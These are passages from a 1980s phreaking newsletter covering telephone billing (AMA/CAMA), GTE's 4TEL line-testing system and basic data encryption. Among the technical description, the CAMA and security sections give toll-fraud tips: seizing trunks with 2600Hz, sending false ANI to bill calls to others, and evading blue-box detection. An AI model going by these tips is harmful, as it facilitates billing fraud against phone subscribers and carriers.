format is the ANI associated with LAMA and is sent to the LAMA +equipment after the ANI receiving trunk winks. The NPA included in this +example is optional and only needed if the subscriber is making a call to a +Foreign NPA (FNPA). The complete called number is not included in all cases, +as when an AMA setup is configured for bulk-billing. In bulk-billing, the +entire called number is not recorded, but just enough for billing purposes. +The CALLING number is the number that the subscriber is dialing from. These +two numbers are sent in Multi Frequency (MF) tones to MF receivers located +within a CO. The I in the ANI is an information digit, and these shall be +explained later in the article. + + One may wonder how a CO knows which lines it serves are message rate lines +and which are flat rate. On electromechanical switches such as Step by Step, +No. 1 and No. 5 Crossbar (it should be noted that there are no remaining panel +switches within the Bell System), there is an electronic line card associated +with each Directory Number which holds information relevant to that line. +These cards have to have any type of change hardwired into them. However, in +digital/ electronic switching systems, there are Line Class Codes which +reflect information about each subscribers line. There are many, many of these +codes. Some of the more common and interesting ones are listed below: + + + LCC EXPLANATION + --- ----------- + + 1FR Single party Flat rate Residential + line + + 1MR Single party Metered rate residential + line + + 1CF Single party Coin First coin + telephone + + 1OF Single party Official (telco) line + + 1FB Single party Flat rate Business line + + 1MB Single party Metered rate Business + line + + + These codes can be found for a line in several places, such as certain +fields in telco computer output reports. COSMOS and LMOS are two such +computers that hold this information. If you find COSMOS printouts or have +access to COSMOS, these Line Class Codes will be listed under the 'LCC' field +in an ISH, INQ, or other inquiry. Sometimes the data in the LCC field will +match or be similar to the data in the US field, which is a USOC (Universal +Service Order Code). A USOC and an LCC aren't the same thing though. + + +CAMA +---- + + CAMA operates along the same basic principle that LAMA does, except that +CAMA is based in a toll or tandem office (class 4). CAMA is made to be used in +areas where it would be costly to implement a LAMA arrangement for each and +every class 5 office. This is because some end offices did not have enough +traffic to warrant the cost and work required to install LAMA equipment. LAMA +setups can/could be found in abundance in rural areas near large cities. + + The first letter in each of the acronyms (L)AMA and (C)AMA describes the +usage of each. (L)AMA, for Localized, in a local central office, and (C)AMA +for Centralized, in a toll office. + + The outpulsing formats to CAMA are similar to the LAMA ANI outpulsing. The +outgoing trunk to the serving CAMA office from the end office sends the called +DN in the format of KP+(NPA)+NXX+XXXX+ST. Next, the incoming CAMA trunk +requests the end office to send the calling number. This is sent as +KP+I+(NPA)+NXX+XXXX+ST, where the I is an information digit which gives +information about the status of the process, and the NPA may or may not be +needed, depending upon the setup. The information digits that follow are used +in ANI outpulsing to Local and Centralized AMA. They are: + + + 0-Automatic Identification (a normal call, with no special + treatment); + + 1-Operator Identification (ONI-call is sent to an operator who + requests the customer to give the number they are calling from); + + 2-Identification Failure (ANI Failure, handled the same way as + ONI). + + + The ONI due to ANIF and normal ONI which is used on certain party lines +are kept track of. If too many ANI Failures happen, then a report will be +generated indicating this fact. ONI needed is more standard and ordinary, and +thus safer for the telecommunications enthusiast. This information can be put +to a good use, as if you find an outgoing CAMA trunk when you are boxing, you +can place calls over it by using the above CAMA formats. The only limiting +factor is that the NXX of the calling number that you sent for ANI must be an +office that is served by the particular CAMA offices trunk that you are using. + + Note that CAMA is not used much anymore, it was mainly used with Electro- +Mechanical toll switches such as the No. 4A Crossbar, and the Crossbar Tandem +(XBT). I don't think there are any XBTs or 4As in operation in the AT&T toll +network, but CAMA may be used by independent telcos, or by telcos in rural +areas that serve only a small number of central offices. In an independent +telco setup, a CAMA arrangement may be used, but not in the same way as AT&T +has used it. The centralized location may not be a toll office, it may just be +the largest CO in that companies network. There can be several variations. +CAMA was originally introduced to work with and in conjunction with ANI, thus +the original term for the process, CAMA/ANI. For a complete description of ANI +in electromechanical switching systems, see one of the older issues of Phrack +Inc. newsletter for a file written by Doom Prophet and myself, titled +'Automatic Number Identification'. I have seen CAMA mentioned in recent telco +information, so I assume that CAMA is still in use, at least in some places. +Supposedly a way to determine if you are on CAMA is to dial local numbers, and +send 2600Hz. If you can seize a trunk, then it is likely that you are served +by CAMA. You can then pick local exchange codes, (NXX), dial them, seize a +trunk, and then MF using the CAMA format included above, sending a false ANI +for one of the local exchanges. If you do this, I suggest that you don't send +the ANI of a resident. Use non-working numbers, disconnected numbers, payphone +numbers. I am not sure if there is any check done upon the number sent in ANI +by the toll office or not, but it is probable that the local switch is +responsible for screening out invalid numbers and such. So if you can get on a +CAMA trunk then you have the power to bill calls to anyone else who is served +by a CO that homes in on the same toll office and uses the same CAMA +equipment. + + +The LOD/H Technical Journal, Issue #3: File 03 of 11 + + + $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$ + L L + O AUTOMATIC MESSAGE ACCOUNTING O + D D + $ (AMA) $ + L L + O An overview O + D D + $ Written by Phantom Phreaker $ + L L + O Legion Of Doom! O + D D + $LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$ + + + + + The standard AT&T Toll office switch, the No. 4 ESS, is also equipped to +handle CAMA if necessary. The CAMA procedure is as follows: Call data for the +CAMA call is kept in a buffer (technically called an Accounting Block (AB)) +which then stores the entry upon a nine track 800-bpi (bits per inch) AMA tape +(note: the information used in research for this part of the article was +rather old, so the bits per inch has probably increased). The data that are +kept in this buffer and put on the tape are as follows: the calling DN, the +called DN, answer and disconnect times accurate to 0.1 second, and other misc. +information. The callers DN can be entered into the 4ESS in two ways, ANI or +ONI. ANI is of course the normal method for identifying a callers DN for +billing purposes. ONI is used when there is an ANIF, or when it is needed (the +other equipment cannot get the DN with ANI). When the 4E gets an ANIF or an +ONI needed, it sends the call to a TSPS operator, who should ask the caller +for their number. When an operator gets an ONI situation 'from' a 4E, she uses +two types of trunks, a talking trunk, and a keying trunk. The talking trunk is +what the subscriber comes in upon and is the line over which the operator asks +for the callers DN. The keying trunk originates at the 4E and terminatates at +TSPS, and is what is used to send the callers DN (in MF) to the 4ESS office. +The operator has access to both trunks at the same time, thus she can enter +the number in a quick and orderly fashion. + + When a line classification does not fit into the 'one information digit' +(KP+I+NNX+XXXX+ST) category, two information digits are used. When two are +used, they are called screening codes. Screening codes are outpulsed along +with the ANI for certain types of telephone lines, and when ANI is being sent +to an alternate carrier via 'Equal Access' (Feature Group D, 1+ dialing). +These screening codes are two digits and precede the subscribers DN. An +example of screening code outpulsing is as follows: + + KP+II+NNX+XXXX+ST + + The II represents two information digits that precede the callers number. +Some of the more common screening codes are as follows: + + KP+00+NXX+XXXX+ST Normal telephone call, identified POTS line; + KP+01+NXX+XXXX+ST ONI needed on a multiparty line; + KP+02+NXX+XXXX+ST ONI needed due to ANI Failure; + KP+07+NXX+XXXX+ST Hospital, inmate type telephone; + KP+08+NXX+XXXX+ST Line restricted from dialing inter-LATA; + KP+10+NNX+XXXX+ST Telco test call; + KP+20+NNX+XXXX+ST Automatic Identified Outward Dialing centrex call; + KP+27+NNX+XXXX+ST Coin telephone call. + + + These double digit outpulsing formats are used in Equal Access areas, and +a similar method of outpulsing is used when customers deal with TSPS +operators. + For more information, see the July, 1987 issue of 2600 Magazine, an article +entitled 'How phreaks are caught'. + +AMARC +----- + + The AMARC, or Automatic Message Accounting Recording Center, is a fairly +modern development toward recording billing information. It offers the telco +several advantages to the older electromechanical setups, such as increased +revenue (always a plus in their eyes), reduced RAO processing costs, a new +computerized format that stores data on 1600 bpi, industry compatible magnetic +tape, elimination of loss due to paper tapes being destroyed, and elimination +of per-office paper tape pickup and delivery. + + +THE NO. 1 AMARC +--------------- + + The first version of the AMARC was the No. 1 AMARC, which received billing +data on a real-time basis over dedicated data links. It was based on two DEC +PDP-11/40 minicomputers. The No. 1 AMARC controls and recieves data from a +maximum of thirty dedicated channels. A channel consisted of a dedicated line +(probably a Private Line service) equipped with a 202T data set, operating +asynchronously at 1.2 kbps. The No. 1 AMARC had a feature which allowed it to +call, over the DDD network, a backup channel in case one of the normal +channels experienced a failure. This backup channel could be reached by anyone +who had the phone number. It has not been determined by the author if there +was/is any security on these backup channels. + + +THE NO. 1A AMARC +---------------- + + Eventually, it was decided that more data channels were needed, and that +the AMARC computer could be centralized, and not clustered in administrative +centers, as was the procedure. The No. 1A AMARC fulfilled the telco's needs. +The No. 1A AMARC uses a higher capacity minicomputer, the DEC PDP-11/70, and +Western Electric peripheral equipment to provide ninety input channels, +improved maintenance capabilities, and room for growth in several areas. The +first No. 1A AMARC began operation in 1981 in the Chicago area. + + An important feature common to both the No. 1 and No. 1A AMARC was the +ability to recieve billing information electronically over dedicated lines +from central office switches. Equipment located in central offices called +sensors send this data. There are different types of sensors for different +types of switching equipment, but the most common AMARC sensors shall be +listed here. + + + The Call Data Transmitter (CDT). The newest AMARC sensor. The CDT is a +microprocessor based system which is used to collect data from No. 5 crossbar +offices. It is designed to be used in systems that do not have LAMA-A and do +not have enough traffic to warrant the expense of installing the No. 5 ETS. +It can be used with other sensors, and is not the only kind used in No. 5 +crossbars. The first one was cut over in Illinois in 1980. + + The Call Data Accumulator (CDA). Similar to the CDT, but uses wired logic +control. The CDA, which collects AMA information from SxS switches, was the +first sensor to be made for use with the AMARC. This sensor is connected to +the ring, tip, and sleeve leads in a SxS switch, probably at the MDF. The +first CDA was cut over into service in New York in 1975. + + The Billing Data Transmitter (BDT). Used in electromechanical offices, +such as the Nos. 1, 5, 4, and 4A Crossbar, SxS CAMA, and the Crossbar Tandem +(XBT). The BDT replaced up to 10 paper tape perforators that were previously +used. Provides a newer alternative to LAMA-A. The BDT recieves billing data +from the older LAMA-A paper tape recorder circuits and sends them to the +AMARC. The first BDT was cut over in New York in 1976. + + The No. 5 Electronic Translator System (ETS). The No. 5 ETS was added to +No. 5 Crossbar systems to provide some electronic switching functions that +were not present before. These functions are things such as line, trunk, and +routing translations provided by software methods rather than wired cross +connections. The No. 5 ETS consists of duplicated Western Electric 3A +auxillary processors with associated scanners and distributors. The first No. +5 ETS was installed in Ohio in 1977. + + VIDAR, a special sensor used in Crossbar No. 1 offices. VIDAR does not +interface with the AMARC but instead sends data to it's own tape. This tape is +then sent to the RAO on a regular basis. + + These various sensors are specially designed electronic units which are +part of or connected to class 5 offices. These sensors collect and generate +billing data from the office they are used with. The billing data consist of +answer and disconect times, call type, and the amount of measured local and +toll calls made. + + Some offices have added sensors, but exceptions include several ESS +systems which use SPC (Stored Program Control) to send data to the AMARC. SPC +means that the sensor is built into the switch software and that no other +equipment is needed. An example of this is the NTI DMS-100 switch. Nos. 2, 2B, +3, 3B, and No. 5 ESS also do not have special AMARC sensors, but send data to +the AMARC over a synchronous connection via a SPUC/DL (Serial Peripheral Unit +Controller /Data Link) at speeds of 2.4 and 4.8 kbps. There is another part in +the 2B ESS AMARC data link, called the AMARC Protocol Converter (APC). The APC +is a medium between the SPUC/DL and the AMARC. + + The No. 4 ESS, TSPS, 1ESS, 1AESS, and 2ESS switches don't have AMARC +sensors, and aren't even connected to the AMARC. These switches all have their +own AMA systems, from which the data is sent to the RAO regularly. Another +exception is the DMS-10 Remote Switch, which is connected to a device at the +RAO called a collector. + + There are other options possible when dealing with AMA collection, such as +the Distributed Call Measurement System (DCMS) made by a telco equipment +vendor, which acts like a mini-AMARC, and Northern Telecom's Distributed +Processing Peripheral system, which is used to collect billing data from NTI's +DMS switches. These systems can be used where applicable. + + +RECENT DEVELOPMENTS +------------------- + + In places where magnetic tape has been phased out, a new method of storing +the AMA data called AMA TeleProcessing Systems (AMATPS) has been implemented. +AMATPS overcomes the disadvantages of magnetic tape (such as the sequential +way the data is recorded, the high-density data losses that may happen, and +the sometimes unseen problems with the tape unit) by using random access disk +drives. AMATPS also adds some new system parts which can make the job easier. +Still, some AMATPS are not used to their full capability and can still present +problems to the telco. + + One of the parts that AMATPS adds to the overall AMACS is the use of AMA +Transmitters (AMAT's). These transmitters are added to the sensors, and +increase the power of the overall setup by providing things such as temporary +storage areas and programming applications. AMAT's are generally PC-sized +machines with two disk drives, and 50-150 megabyte hard disks. + + The second important addition is the collector. The collector acts like +the AMARC by polling the AMAT over data links. The collector, like AMARC, is a +centrally located computer system, usuallly running on an IBM Series 1, an +HP-1000, or an AT&T 3B5. + + Teleprocessing systems are made to understand a common AMA language format +made by Bellcore, the Bellcore AMA Format and Extended Bellcore AMA Format. +These were mentioned in part A of this article. + + +BOC/AT&T INTERACTION +-------------------- + + Since the majority of people are served by AT&T, one may wonder how inter- +LATA call data gets to the given Inter-LATA Carrier (IC), in this case, AT&T. +AT&T has its own AMA collection system, which is called BILDATS (BILling DATa +System), and this is what collects the AT&T data. I would guess that each AT&T +toll office has some sort of interface with this computer system, but I have +no solid proof of this. It has also been suggested to me from a reliable +source that AT&T sends each BOC their own magnetic tapes, which the BOC's then +fill with AT&T's billing information. I am not sure which of these methods is +used. + + The BOC billing information takes a different route, however. On a regular +basis (I believe each day), AMARC tapes are sent to the Regional Accounting +Office (RAO) or billing office, where each customers intra-LATA traffic is +calculated and their telephone bill printed and mailed. The customer then +recieves the bill and goes about whatever method of payment he chooses. +Telephone bills can usually be paid in person in many different places in +large cities, or they can be mailed in directly if the customer wishes. In my +area, the customer pays once, which is a total of his AT&T and BOC bill. This +is payable to the BOC, and AT&T then gets their payment from the BOC. In the +case of independent carriers such as US Sprint, MCI, ALC Communications, and +the like, I cannot say for sure what they all do as there seems to be no +standard procedure for this interaction, but in two instances, two specific +RBOC's (US West and BellSouth) handle FG-D Equal Access style billing for MCI +throughout their serving areas. There is a computer system involved in this +alternate carrier billing cycle, called the Carrier Access Billing System +(CABS). This system calculates the prices bases on tariffs in use, and bills +the carriers on a monthly basis accordingly. I am not sure how widespread the +use of this sytem is, though. When the customer receives his MCI bill along +with his BOC bill he can pay them both at once. I would imagine that the +larger long distance services would be able to afford getting this service +from the RBOC's, while the smaller ones with less money would do it by +themselves, which would probably be a slow, drawn out process. In some cases, +dialing via an alternate carrier (other then your primary one) will cause the +billing cycle to take anywhere up to three months to complete, or even more. +Another interesting note about alternate carrier dialing, some carriers do not +start billing until a specific amount of time has elapsed. This is known as +buffer-zone billing. I know of one company that uses a 45 second buffer zone, +but I am not sure what the other companies use. You can find this information +out by talking to a customer service department, however some companies CS +departments either don't know, or they do not wish to tell the customer (or +'potential' customer). With buffer zone billing (assume 45 seconds in this +case), you will be billed for the call if you let the phone ring, listen to a +busy signal, etc. if the duration of the call is greater than or equal to 45 +seconds. Many of the ICs that use this type of billing do not have the +equipment to detect answer supervision, so if you can keep a conversation very +short, you may get away with a free call, without breaking any laws. + + +CALL CREDITING +-------------- + + When you receive credit for improperly placed long distance calls from an +operator or a telco business office (after you receive your phone bill) +certain things happen. + + Operator crediting involves the operator entering a special flag on an AMA +tape to deduct the specific amount of given charge from the subscriber's +telephone number. I believe that this process involves (with AT&T TSPS) the KP +TRBL key, and (with NTI's TOPS) the KP TRBL and the CHG ADJ (charge adjust) +keys. + + Business office crediting happens when you call the business office and +talk to a BOC 'service representative'. This person will then enter your +telephone number into a terminal, using the DOE (Direct Order Entry) system, +which is in use in my area. The billing record information comes from a +computer called CRIS (Customer Record Information System), which is accessed +by BOSS (Billing and Order Support System). BOSS has a link to computer +systems at the RAO, as this is how the customer's toll data gets to the +business office. A service representative can then pull up your toll charges +and correct them with appropriate credit entries. + + +SECURITY (EVERYONE READ THIS PART) +----------------------------------- + + There have been several rumors going around about AMA and it's relation to +people who commit toll fraud, and I will attempt to clarify these rumors. It +is possible that a billing tape could be used to try to find out who called a +certain number at a given time. Another way AMA tapes/disks could be used as a +record of someone committing toll fraud would be if this person would happen +to be under a newer switch, such as the DMS-100, and they attempted to use a +blue box without knowing the dangers of it (I will speak only on the DMS-100 +because when a older switching system is replaced with a new one, the most +common replacements are the AT&T No. 5 ESS and the Northern Telecom DMS-100 +Family of switching systems). DMS-100 does indeed have the capability to +record a blue boxer's MF tones in an AMA record if the boxer doesn't know what +he is doing. 1AESS also has blue box detection features. I am not sure about +other switching systems, but I would guess that most of the newer switches +have some sort of blue box fraud detection features, of course the end user of +these switches (the telco) does not have to use them. However it is difficult +to find out if your CO uses anything of this nature unless you are a good +social engineer or have access in some way to the switch or switch output +messages and know what to look for. For instance on the Northern Telecom +DMS-100 switching system, there are a series of reports known as BLUEBOX +reports which (if in use) will inform the telco of blue boxing activity. The +DMS-100 also has AMA options that can detect certain forms of electronic toll +fraud, such as black and blue boxing. These options can be set any way the +telco wants. These AMA options can be printed on a DMS-100 switching +system,onto hardcopy terminals, or onto a data channel which may send the +Output Messages (OMs) to a telco computer system such as the Switching +Control Center System (SCCS). These options are printed in an AMA118 OM at +midnight. If an AMA option is in use by that particular switching system, +after the name of the option will be a data field that says ACTIVE. If the +option is not in use, the field will say INACTIVE. An example of an AMA118 OM +is reproduced here. + + AMA118 JUL23 12:00:00 2234 INFO AMA-OPTIONS + AUDIT: ACTIVE + CALL-FWD: ACTIVE + CDAR: INACTIVE + CHG411: ACTIVE + CHG555: ACTIVE + COIN: INACTIVE + DA411: ACTIVE + ENFIA-B-C: INACTIVE + FREECALL: INACTIVE + HIGHREV: INACTIVE + INWATS: ACTIVE + LNID: INACTIVE + LOGAMA: INACTIVE + LOGOPT: ACTIVE + LONGCALL: ACTIVE + LUSORIG: INACTIVE + LUSTERM: INACTIVE + OBSERVED: INACTIVE + OCCOVFL: ACTIVE + OCCTERM: ACTIVE + OUTWATS: ACTIVE + OVERFLOW: ACTIVE + SST: ACTIVE + TIMECHANGE: ACTIVE + TRACER: ACTIVE + TRKID: INACTIVE + TWC: INACTIVE + UNANS-LOCAL: INACTIVE + UNANS-TOLL: ACTIVE + + + The most important ones for phreaks to know about are INWATS, LONGCALL, +SST, UNANS-LOCAL, and UNANS-TOLL. INWATS means that calls to 800 numbers are +noted in an AMA record. As far as I know, this option is a required one, at +least since Bulk Change Supplement 23 (BCS23). LONGCALL will flag long calls +in an AMA record. So if it seems to the switch that someone has been on the +phone for a long time, this will be logged. A possible use for this would be +to detect trouble conditions. This option, used in past switching systems, may +have been the cause of many blue box busts. Someone would box for several +hours using the same number (for instance, Directory Assistance) and this may +have been noted by the switch. Another way I think old time boxers may have +been nailed is from boxing off of DA. As you can see in the above listing, +there are several options that probably make AMA entries for calls to DA. If +the length of a call to DA lasts longer than a certain amount of time, the +telco could possibly detect this and attach a monitoring device upon the +suspected persons telephone line. The AMA option 'SST' may also be responsible +for blue box busts in the recent past. SST stands for Short Supervisory +Transition, and an SST is known to the phreak world as a wink. SSTs are +generated when a blue boxer seizes a trunk. The switch can detect these and +log them in an AMA record if the option is set to ACTIVE. SSTs are not solely +caused by boxers, though, as equal access offices can generate a lot of SSTs +in normal operation. I believe that trunking arrangements with ICs (InterLATA +Carriers) are often responsible for triggering these. One toll office I knew +of had thousands of SSTs on a plant measurement report, so if this option is +ACTIVE, it may not be EXTREMELY dangerous, but it can't hurt to know about +this. One possible way around the SST detect is to make your 2600Hz tone last +several seconds. I do not remember the exact figure, but after a certain +number of seconds an SST ceases to be an SST ceases to be an SST. I am not +sure if these longer transitions are logged or not, or if there is even an +option for this. However I believe that the BLUEBOX feature could not be +fooled by doing this. BLUEBOX, if activated, will detect any foreign winks +after a necessary one (necessary for call completion) occurs. Of course you +can always avoid having your DN associated with anything like this by +re-directing your call flow, which can be accomplished easily. + + Another AMA option that could be used to catch black boxers is the +UNANS-TOLL option. When this option is ACTIVE, toll calls ringing longer than +a specific period of time can be logged in an AMA record. Someone calling toll +from a DMS-100 to a person using a black box (does anyone still use devices +like the black box anyway?) in a no. 5 crossbar may trigger this option to be +logged. I say 'may' because I am not positive about this, the option could +also be used in other ways, I imagine. + + The ENFIA-B-C option is one that could possibly present a problem to a +telecom enthusiast. I have seen the term ENFIA (Exchange Network Features for +Interstate Access) associated with a Feature Group A (POTS dialup) long +distance service. ENFIA-B and C mean FG-B and FG-C service. FG-A and B (POTS +and 950+1/0xxx respectively) could possibly be used to record information +concerning toll fraud. For instance, I know of one service (FG-D and FG-B) +that has the ability to check a telcos' magnetic tape to see what numbers have +been accessing their service. If a large amount of fraud became a problem, the +carrier could get the AMA information to try and determine who is committing +toll fraud. I'm not sure if other companies have this option, I would guess +that almost all of the major companies (MCI, Sprint, Allnet, etc.) have the +ability to use something of this nature to track down security problems. + + Have you ever wondered why many of the old blue boxers were caught? It is +due to the use of AMA. AMA records can reveal boxing patterns, and this info +can be used by the telco to track down blue/red/black box users. So if you are +a person who practices any of these methods, be aware of what you are up +against. Boxing has been around for a very long time and the telco knows all +about what goes on and the different methods that people use. So use care. An +informed phreak is a free phreak. + + +SUMMARY +------- + + Hopefully this article has helped clear up any misconceptions about AMA +that anyone might have had, as well as provide a reference to be looked back +on. The information contained in this article can also be used for social +engineering purposes, if you so desire. However, I do not intend for any of +this information to go into harmful purposes, such as billing calls to other +people, or causing confusion and disorder at any internal points in the telco. +Such actions do not make a person a phone phreak. However, if you find out +anything interesting concerning AMA that isn't included here, or anything +about independent telcos billing systems, feel free to let me know. + + If you wish to contact me concerning this article, you can find me on a +few BBS's.

(O) + (H) (H) + *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* + + + + 4TEL is a loop testing system mainly used by General Telephone (GTE) that +consists of a Voice Response System and a Craft Dispatch Section as well as +the facilities and equipment used for testing functions. The following text +will attempt to dispell many of the 4TEL myths that have been created in the +past years, such as the idea that it can be used to eavesdrop on lines within +its serving area. The information provided has been gained from company +publications and from personal experience. A 4TEL is not the same thing as a +REMOBS, which stands for REmote service OBservation System. + + + + The portion of the system that some of the phreak/hack population is +familiar with is the Voice Response System, which has normal POTS dialups. +This system greets the user with an announcement message and then asks for a +password, which is entered in DTMF tones. The legitimate use of these dialups +are for outside craft personnel (linemen) to call in, perform tests and +receive the results for subscribers' lines. The VRS is provided so craft +personnel can access the 4TEL system at times when no one is at the testboard +(at nights or weekends). Through the VRS, up to 8 craft/technicians can access +4TEL at the same time, enabling them to get more done in a smaller amount of +time. + + + + After a password has been accepted by the system, the electronic voice +will ask for the line number that the user wishes to be tested. The number +entered will be read back to ensure correct entry. The system will then ask +for the user to enter the mode. The modes are: + + + 1: Calling on other line + 2: Calling on test line + 3: Line test results + + + It is possible on some VRS's to get a listing of the modes by dialing 0 +when the voice prompts. Line tests are possible from both modes 1 and 2 by +dialing the octothorpe (#) key. The results of the test will be announced +along with the length of the cable in miles. Bridged ringers, if any, will +also be noted. Mode 3, the line test results section, will tell the user there +are no test results available unless they have beeen previously entered. The 7 +key is the monitor command from both test modes. If there is speech on the +line, it will be detected electronically but will NOT be heard by the user. +The monitor command is not 'REMOBS' (Remote Observation) but a method of +determining if the line is busy due to normal means (conversation) or due to +some trouble condition at the switch. When the system asks for the ID code for +a monitor command, the system will accept the line number as well as the +initial password, and even a secondary password before dialing, but it has not +been determined by the author if this is a standard for every 4TEL. Not just +anything will work for the monitor password however as it will announce if the +ID code entered is invalid or not. + + + If mode 1 is entered, these commands are available: + + +MODE ONE COMMANDS: + + + 1-Fault location + 2-Other Testing + 7-Test OK, monitor + 8-Hang up + 9-Enter next line number + + + If option 7 is chosen, another menu will be available if the line tests +busy. + + + 2-Monitor test + 3-Overide and test + 4-Wait for idle + + + If suboption one (Fault location), mode one, is chosen, these commands are +available: + + + 1-Open location + 3-Short location + 4-Cross location + 5-Ground location + 8-Hang up + + + If suboption two (Other testing), mode one, is chosen, these commands are +available: + + + 2-Loop ground Ohms + 3-Dial tone test + 4-Pair ID + 8-Hang up + + + +MODE TWO COMMANDS: + + + 2-Other testing + 7-Test OK, monitor + 8-Hang up + 9-Enter next line number + + + If suboption 2 (Other testing), mode two, is selected, these commands are +available: + + + 2-Loop ground Ohms + 8-Hang up + + + + The 4TEL system's main use is for standard testing, which is done nightly +upon every line in an exchange. This locates faults and problems before they +have to be reported by customers. All lines that have trouble detected upon +them are printed out in a report at the repair center the next morning where +the proper fault location and dispatching can be done. The measurement and +test unit of the 4TEL system is called a COLT, Central Office Line Tester, +which performs all nightly and on demand testsupon the exchange through local +test trunks. + + + There are a few different types of COLTs. The standard version will serve +any CO for up to 10,000 subscribers. The COLT RS is used in rural step by step +offices (referred to as 'steppers' also) for up to 1,300 lines. The Digital +COLT is used for digital Central Offices. These can have remote Colt +Measurement Units (CMU's) for remote switches which are controlled by the Colt +Computer Unit (CCU) at the host switch. The CMU speed calls the CCU at night +to start the testing and direct the operations. The CMUs in regular end +offices have digital links (over the normal telephone network) with the SAC, +which is how the line test results are distributed to the repair center. + + + + The 4TEL system can also test lines upon command by a human operator at +the SAC (Service Area Computer). The CRT operator enters the line number in +the proper field and 4TEL runs a full series of tests as well as displaying +past line history, fault summary, volts and current information, and the cable +length. The results of the testing are displayed in plain english, as opposed +to decimal or other format, on the screen. A dispatch decision is also +displayed after every line test to determine if a dispatch is needed. + + + SAC's + ----- + + + The SAC is the centralized focal point for 4TEL control and reporting. +This computer is located in the repair center and distributes test/work +information between CRT's and COLT's. The SAC formats the results of routine +testing into a daily advisory report as mentioned earlier. + + + + There are several types of 4TEL reports that are worth noting. The +DISPATCH report lists troubles that can have an immediate dispatch for them. +These also tell the location of the fault (cable, CO, station, etc.) and are +classified into two types, moderate and severe, relating to how service +affecting the problem may be. The CABLE report lists all new cable faults. A +Plant Status report summarizes the condition of the outside plant and totals +them per individual exchange. In these reports, trouble conditions can be +listed in a variety of ways. CROSSES and WETS refer to line insulation faults +and may indicate water penetration of the cable. SHORTS and GROUNDS are +insulation faults at the station set. OPENS refer to a broken, or 'open' Ring +or Tip lead in a Cable Pair. BACKGROUND refers to electrical noise caused by +power lines being nearby. ABNORMAL VOLTAGE indicates high voltage conditions. +There are others, but the reader will hopefully get the idea from the ones +listed above. + + + CDS + --- + + + Another major part of the 4TEL system is the Craft Dispatch System, which +is a DTMF and speech response setup used to exchange report and schedule +information between the repair center staff and outside craftspersons. Linemen +call in to get dispatch information that has been previously entered by the +dispatcher. CDS plays back the info one field at a time. When the craft +personnel is ready to receive the next field of information, he simply says +'Go' and the system continues. A printer at the repair center informs the +dispatcher when a craftsperson has received a report. When the trouble is +taken care of, a completion report is done on the CDS in which it asks for the +closeout and schedule one field at a time to be entered in DTMF and in speech. +The clerk at the repair center then closes the trouble on the SAC/4TEL system +after the line is tested a final time to ensure proper operation. + + + CDS may also have audit trails of every transaction for a certain time +period. So to summarize the work flow for involving the CDS: Irate customer +calls the clerk at the repair center. The information is forwarded to the +dispatcher who enters it into CDS. Craft personnel call in and receive the +messages, do the required work, then file a completion report. The clerk then +closes out the trouble in SAC/4TEL. + + + The Digital Concentrator Measurement Unit is another component of the 4TEL +testing equipment that is used to test lines in digital concentrators such as +the GTE MXU and the NTI-OPM. They are located inside Digital Loop Carrier +system remote terminals or huts and consist of a circuit board and measuring +system. It provides AC and DC measurements of subscriber loops, as well as all +the normal test/measurement functions such as fault description and location , +dispatch messages, and special tests. The DCMU can test the lines of an +individual DLC remote terminal, or a group of terminals that are located +together. The capacity of terminals that the DCMU can test is determined by +analysis of test traffic and economic factors as well. Both the CRT at the SAC +and the VRS are compatible with the DCMU. These units are self calibrating, +unlike the PMU's of an LMOS supported Loop Testing System. The 4TEL CCU is +linked to the DCMU via either a 1200 baud dial up or a dedicated link, +depending upon the size of the office. + + + + Some of the tests that 4TEL performs are loop and ground resistance (which +detects resistance faults and sheath ground problems), dial tone test (in +which the number of times dial tone can be drawn during a certain period is +recorded) , busy line monitoring (not BLV or REMOBS), coin station tests +(totalizer, coin relay, etc), as well as all the standard tests which were +covered above. A pair identification can also be done, in which a tone is +placed on the pair to help those at terminal cabinets locate that specific +one, similar to the LMOS/MLT tone applique function. + + + + Miscellaneous notes + ------------------- + + + If a user enters the number of the 4TEL system they have dialed in upon, +the system will announce an intercept. A user cannot monitor/test Directory +Assistance through 4TEL. Lines that are out of the system's NPA can be tested +also, but a 1 has to be dialed before the number just like an ordinary toll +call. The 4TEL VRS will give the user a 'beep' tone after a few seconds of +waiting for input. If the user doesn't enter anything, the VRS will +disconnect. A version of 4TEL is also used by Rochester Telephone in New +York, and there may be other independent companies that use the system. Try +to find out what system you're served by. If you're in a Bell area, it will +most likely not be 4TEL, but LMOS. + + + + I hope that this article has helped readers to better understand the way the +4TEL system operates. Again, there may be some differences depending upon the +area and the company.

A delete command only changes a flag in the +VTOC (volume table of contents), it doesn't actually *remove* the file from +your system. + There are two methods to ensure that your data can't be read by a sector +editor or recovered by NU. The first is to overwrite everything with a NULL +(FF) or anything else for that matter. I've seen one batch file that does a +global delete, creates a file that says 'EAT HOT DEATH', and then begins +copying it until disk space is full. Unfortunately, you can't always guarantee +that you will be able to get to your computer before someone else does. + The second method is to encrypt your data. Most people have visions of +data encryption being some sort of arcane process akin to summoning demons or +talking with Dead Cow Cult members (two closely related process- es.) In +practice, it isn't that difficult. This file is intended to show some very +short programs that will encrypt data beyond the ability of any- thing short of +a dedicated mainframe to crack. + + How to use: The code examples I provide will be in MicroSoft's +AmigaBASIC. It is fairly generic and you should be able to convert it over to +IBM, //e,c,gs, Mac, ST, C64, or any flavor of mainframe you like. For those of +you setting up systems on Packet-Switched Networks (such as the LOD/H system +one of our members is implementing) data encryption should be considered +absolutely necessary to maintain security. + The terseness of the routines make them easy to insert in a bulletin +board also, although conversion into C or Assembly would be necessary for +decent speed. + + Intro to Cryptography: Long before computers were around, there was a +need for data security. Everyone used lemon juice as 'invisible ink' when they +were a kid, heating it over a candle to bring it out. And everyone has seen +the substitution code where "A" = 1, B = "2", "Z" = 26, etc... + The easiest form of encryption involves a variation of the previous. +First of all, don't think of A = 1 as a substitution, think of it as a +remapping. Let's say we have a language made up of the five vowels, and we +wanted to remap them to the numbers 1-5. Our map would look like this: +"AEIOU12345" and our mapping function would be f(c) = POSITION(c) + x where c = +the letter to map and x is the key (in this case 5.) So every time we needed +to encrypt a letter, we would take its position in the map, add 5 to it, and +come up with the character to substitute. For the entire alphabet, the mapping +function would be f(c) = POS(c) + 26 for the map "A..Z,1..26". + Your map should be composed of all the characters that will be used for +encryption. In a text only encrypter, this will consist of all the printable 